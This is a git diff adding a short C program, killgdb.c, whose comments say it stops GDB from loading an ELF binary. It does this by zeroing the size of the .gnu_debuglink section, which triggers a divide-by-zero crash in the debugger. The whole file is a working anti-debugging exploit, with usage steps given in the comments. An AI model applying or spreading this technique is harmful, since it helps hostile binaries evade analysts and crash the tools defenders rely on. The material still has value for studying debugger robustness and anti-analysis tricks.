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diff --git a/crash/killgdb.c b/crash/killgdb.c
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+#include <elf.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+
+// killgdb.c - prevent an elf from being loaded by gdb.
+// Jeffrey Crowell <crowell [at] bu [dot] edu>
+//
+// $ objcopy --only-keep-debug program program.debug
+// $ strip program
+// $ objcopy --add-gnu-debuglink=program.debug program
+// $ ./killgdb program
+//
+// GDB can't handle debuglink sections of size 0, there's a divide by 0 error.
+// We can exploit this to make gdb crash on load of elfs.
+
+int filesize(int fd) { return (lseek(fd, 0, SEEK_END)); }
+
+void print_section(Elf64_Shdr *shdr, char *strTab, int shNum,
+                        uint8_t *data) {
+  int i;
+  for (i = 0; i < shNum; i++) {
+    size_t k;
+    if (!strcmp(".gnu_debuglink", &strTab[shdr[i].sh_name])) {
+      printf("%02d: %s Offset %lx\n", i, &strTab[shdr[i].sh_name],
+             shdr[i].sh_offset);
+      printf("Setting size to zero.\n");
+      shdr[i].sh_size = 0;
+    }
+  }
+}
+
+int main(int ac, char **av) {
+  void *data;
+  Elf64_Ehdr *elf;
+  Elf64_Shdr *shdr;
+  int fd;
+  char *strtab;
+
+  fd = open(av[1], O_RDWR);
+  data = mmap(NULL, filesize(fd), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+  elf = (Elf64_Ehdr *)data;
+  shdr = (Elf64_Shdr *)(data + elf->e_shoff);
+  strtab = (char *)(data + shdr[elf->e_shstrndx].sh_offset);
+  print_section(shdr, strtab, elf->e_shnum, (uint8_t*)data);
+  close(fd);
+  return 0;
+}